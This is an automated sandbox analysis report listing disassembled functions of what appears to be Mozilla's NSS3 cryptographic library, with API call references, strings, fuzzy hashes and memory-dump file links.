String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 7dc7a7e78b9818a9b965aa788fb8289ff7052a0c206b40f5306120163bcf2a87
Instruction ID: 9b64a0ded89767ca7bb08e583112909305c76b8ffdce082155b0c1e0ab714c34
Opcode Fuzzy Hash: 7dc7a7e78b9818a9b965aa788fb8289ff7052a0c206b40f5306120163bcf2a87
Instruction Fuzzy Hash: BC41B4F1E402156BE700DB75BC81B5B77ACAF1524CF181830EE09E6B01F735DA6887A2

Function 6CC24950 Relevance: 36.9, APIs: 13, Strings: 8, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6CC24976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC249A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC249B6

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC249CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC249FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24A09
PR_LogPrint.NSS3(?,00000000), ref: 6CC24A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC24A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC24A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6CC24A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6CC24B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24B26
PR_LogPrint.NSS3(?,00000000), ref: 6CC24B3C

Strings

C_CopyObject, xrefs: 6CC24971
hObject = 0x%x, xrefs: 6CC249E4, 6CC249F4
phNewObject = 0x%p, xrefs: 6CC24A77
(CK_INVALID_HANDLE), xrefs: 6CC249AF, 6CC24A02, 6CC24B1F
hSession = 0x%x, xrefs: 6CC24991, 6CC249A1
ulCount = %d, xrefs: 6CC24A57
*phNewObject = 0x%x, xrefs: 6CC24B01, 6CC24B11
pTemplate = 0x%p, xrefs: 6CC24A39

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phNewObject = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ phNewObject = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_CopyObject
API String ID: 1003633598-1222337137
Opcode ID: e7503ad379aa5ab3fb740f3ccff7503a28abf78e967dc2f6ae077bdc7671bced
Instruction ID: 9fac889ae6da3738120f805dca2861748ae2f38a9005e8a20e6c8264cfbf4978
Opcode Fuzzy Hash: e7503ad379aa5ab3fb740f3ccff7503a28abf78e967dc2f6ae077bdc7671bced
Instruction Fuzzy Hash: B551B375A01504AFEB00DF58EC88E9B7779AB4234DF484016FA096BB21E734AD5CCBA5

Function 6CC208F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CC2094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC20953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CC2096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CC20974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CC2098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CC20995

Part of subcall function 6CC21800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC21860
Part of subcall function 6CC21800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CC209BF), ref: 6CC21897
Part of subcall function 6CC21800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC218AA
Part of subcall function 6CC21800: memcpy.VCRUNTIME140(?,?,?), ref: 6CC218C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC20B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC20B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CC20B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CC20B78

Strings

secret, xrefs: 6CC20A88
base_nonce, xrefs: 6CC20B06
key, xrefs: 6CC20ACB
exp, xrefs: 6CC20B36
psk_id_hash, xrefs: 6CC209B5
info_hash, xrefs: 6CC209E0

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: 87409d796db6966e6ed2aea584bd61dce9a2f091d7fb4645700225c8817b0dfb
Instruction ID: 5402c785d9e817ad366d23b8fad0b1e48b21ada13fa05525f7c3b5d0e4d5a1aa
Opcode Fuzzy Hash: 87409d796db6966e6ed2aea584bd61dce9a2f091d7fb4645700225c8817b0dfb
Instruction Fuzzy Hash: 6A817A76604341AFD700CF55C88099AF7E8FF8C708F048919FA9997761E731E919CBA2

Function 6CC289B0 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 149COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GenerateKey), ref: 6CC289D6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC28A04
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC28A13

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC28A29
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CC28A4B
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC28A67
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC28A83
PR_LogPrint.NSS3( phKey = 0x%p,?), ref: 6CC28AA1
PL_strncpyz.NSS3(?, *phKey = 0x%x,00000050), ref: 6CC28B43
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC28B52
PR_LogPrint.NSS3(?,00000000), ref: 6CC28B68

Strings

*phKey = 0x%x, xrefs: 6CC28B2D, 6CC28B3D
C_GenerateKey, xrefs: 6CC289D1
pMechanism = 0x%p, xrefs: 6CC28A46
(CK_INVALID_HANDLE), xrefs: 6CC28A0C, 6CC28B4B
hSession = 0x%x, xrefs: 6CC289EE, 6CC289FE
ulCount = %d, xrefs: 6CC28A7E
phKey = 0x%p, xrefs: 6CC28A9C
pTemplate = 0x%p, xrefs: 6CC28A62

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *phKey = 0x%x$ hSession = 0x%x$ pMechanism = 0x%p$ pTemplate = 0x%p$ phKey = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GenerateKey
API String ID: 1003633598-2039122979
Opcode ID: 9a91a75ce204b137e6db9c3d5a9d88ca322afec25f9c413a2d702af9e6425fc9
Instruction ID: 1bf55df798b788f447cfd0ee9c5563fb1f2de791a7a4cab1071126f01cf4ea67
Opcode Fuzzy Hash: 9a91a75ce204b137e6db9c3d5a9d88ca322afec25f9c413a2d702af9e6425fc9
Instruction Fuzzy Hash: AF518471701144AFEB00DF18ED88E9F7779AB4234CF48402AE9056BB61EB34A85DCBA1

Function 6CC32D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CC32DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CC32E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC32E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC32E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C,?,-00000001,00000000,?), ref: 6CC32E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C,?,-00000001,00000000), ref: 6CC32E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EF8
PR_Unlock.NSS3(?), ref: 6CC32F62
TlsGetValue.KERNEL32 ref: 6CC32F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC32F9E
PR_Unlock.NSS3(?), ref: 6CC32FCA
TlsGetValue.KERNEL32 ref: 6CC3301A
EnterCriticalSection.KERNEL32(?), ref: 6CC3302E
PR_Unlock.NSS3(?), ref: 6CC33066
PR_SetError.NSS3(00000000,00000000), ref: 6CC33085
PR_Unlock.NSS3(?), ref: 6CC330EC
TlsGetValue.KERNEL32 ref: 6CC3310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC33124
PR_Unlock.NSS3(?), ref: 6CC3314C

Part of subcall function 6CC19180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CC4379E,?,6CC19568,00000000,?,6CC4379E,?,00000001,?), ref: 6CC1918D
Part of subcall function 6CC19180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CC4379E,?,6CC19568,00000000,?,6CC4379E,?,00000001,?), ref: 6CC191A0

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_SetError.NSS3(00000000,00000000), ref: 6CC3316D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 342243fb13eebc890d00ae68c5e3e5f21bc7ce02050830cf562d1783fed8602d
Instruction ID: 015e8ae274e3b178a59069db2b7f0271a58aa12ea832b40f9c7c00a108857a04
Opcode Fuzzy Hash: 342243fb13eebc890d00ae68c5e3e5f21bc7ce02050830cf562d1783fed8602d
Instruction Fuzzy Hash: 01F190B1D002189FEF00DF68E844B9EBBB8BF09318F545169ED08A7751E731E996CB91

Function 6CC2AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CC2AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC2AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC2AF83

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC2AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CC2AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CC2AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC2AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC2B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CC2B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CC2B041

Strings

ulParameterLen = 0x%p, xrefs: 6CC2AFD4
pSignature = 0x%p, xrefs: 6CC2B023
pData = 0x%p, xrefs: 6CC2AFEF
(CK_INVALID_HANDLE), xrefs: 6CC2AF7C
hSession = 0x%x, xrefs: 6CC2AF5E, 6CC2AF6E
pParameter = 0x%p, xrefs: 6CC2AFB9
pulSignatureLen = 0x%p, xrefs: 6CC2B03C
ulDataLen = %d, xrefs: 6CC2B00A
C_SignMessage, xrefs: 6CC2AF41

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 57be1d84e43ed16561ce95322ad0f1815ba5dfcf75ca55b6d1254976f9f87922
Instruction ID: a9d0e0a657cae7d85fe062556327139f7e5e5e36a089fdd312ca5117b052cceb
Opcode Fuzzy Hash: 57be1d84e43ed16561ce95322ad0f1815ba5dfcf75ca55b6d1254976f9f87922
Instruction Fuzzy Hash: B841E7B5A01144BFEB01DF58ED48F8ABBB5BB4234DF884026E60857B21E734985DCBA1

Function 6CC5C980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C98E

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9A1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9D3

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9E6

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CC5C9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CC5AEB0,?,00000004,00000001,?,00000000,?), ref: 6CC5CA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CC5AEB0,?,00000004,00000001), ref: 6CC5CA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CC5AEB0,?,00000004), ref: 6CC5CA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CC5CA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CC5AEB0,?,00000004), ref: 6CC5CA6D
PR_Now.NSS3 ref: 6CC5CAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC5CB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CC5CB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CC5CB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CC5CBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC5CBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CC5CBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CC5CC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CC5CC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC5CC5B

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CC5CC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CC5CC89

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: d690aada374ac622c05ec7e0f78d8a4512957b1102749ecb6fa02f9f8810a4dc
Instruction ID: 2dd4fcd7d9b2888c0867b2208144f47eecf94495a9927ec63a514e7b28d1a6d9
Opcode Fuzzy Hash: d690aada374ac622c05ec7e0f78d8a4512957b1102749ecb6fa02f9f8810a4dc
Instruction Fuzzy Hash: 08B18EB5E002069FEB00DF65DC41BAABBB4BF6830CF504125E814A6751FB71E9B4CBA5

Function 6CC36CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC36943
Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC36957
Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC36972
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC36983
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC369AA
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC369BE
Part of subcall function 6CC36910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC369D2
Part of subcall function 6CC36910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC369DF
Part of subcall function 6CC36910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC36A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC36D8C
free.MOZGLUE(00000000), ref: 6CC36DC5
free.MOZGLUE(?), ref: 6CC36DD6
free.MOZGLUE(?), ref: 6CC36DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC36E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36E72
free.MOZGLUE(?), ref: 6CC36EA7
free.MOZGLUE(?), ref: 6CC36EC4
free.MOZGLUE(?), ref: 6CC36ED5
free.MOZGLUE(00000000), ref: 6CC36EE3
free.MOZGLUE(?), ref: 6CC36EF4
free.MOZGLUE(?), ref: 6CC36F08
free.MOZGLUE(00000000), ref: 6CC36F35
free.MOZGLUE(?), ref: 6CC36F44
free.MOZGLUE(?), ref: 6CC36F5B
free.MOZGLUE(00000000), ref: 6CC36F65

Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC3781D,00000000,6CC2BE2C,?,6CC36B1D,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C40
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC3781D,?,6CC2BE2C,?), ref: 6CC36C58
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC3781D), ref: 6CC36C6F
Part of subcall function 6CC36C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC36C84
Part of subcall function 6CC36C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC36C96
Part of subcall function 6CC36C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC36CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC36FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CC36FF4

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: ff1711e315d118fddc11002971bdc6c86b01d05f8aca47f54fc18ebed179352b
Instruction ID: cfbeb1156c0cab1ad0d7715fbef26ca98204f843b5c97c9a61e7397ddedb795c
Opcode Fuzzy Hash: ff1711e315d118fddc11002971bdc6c86b01d05f8aca47f54fc18ebed179352b
Instruction Fuzzy Hash: FCB162B1E016299FEF01DFA5E885B9E7BB8BF49348F141024E919E7640F731E918CB61

Function 6CC34C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC34C4C
EnterCriticalSection.KERNEL32(?), ref: 6CC34C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC34CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34DB7

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

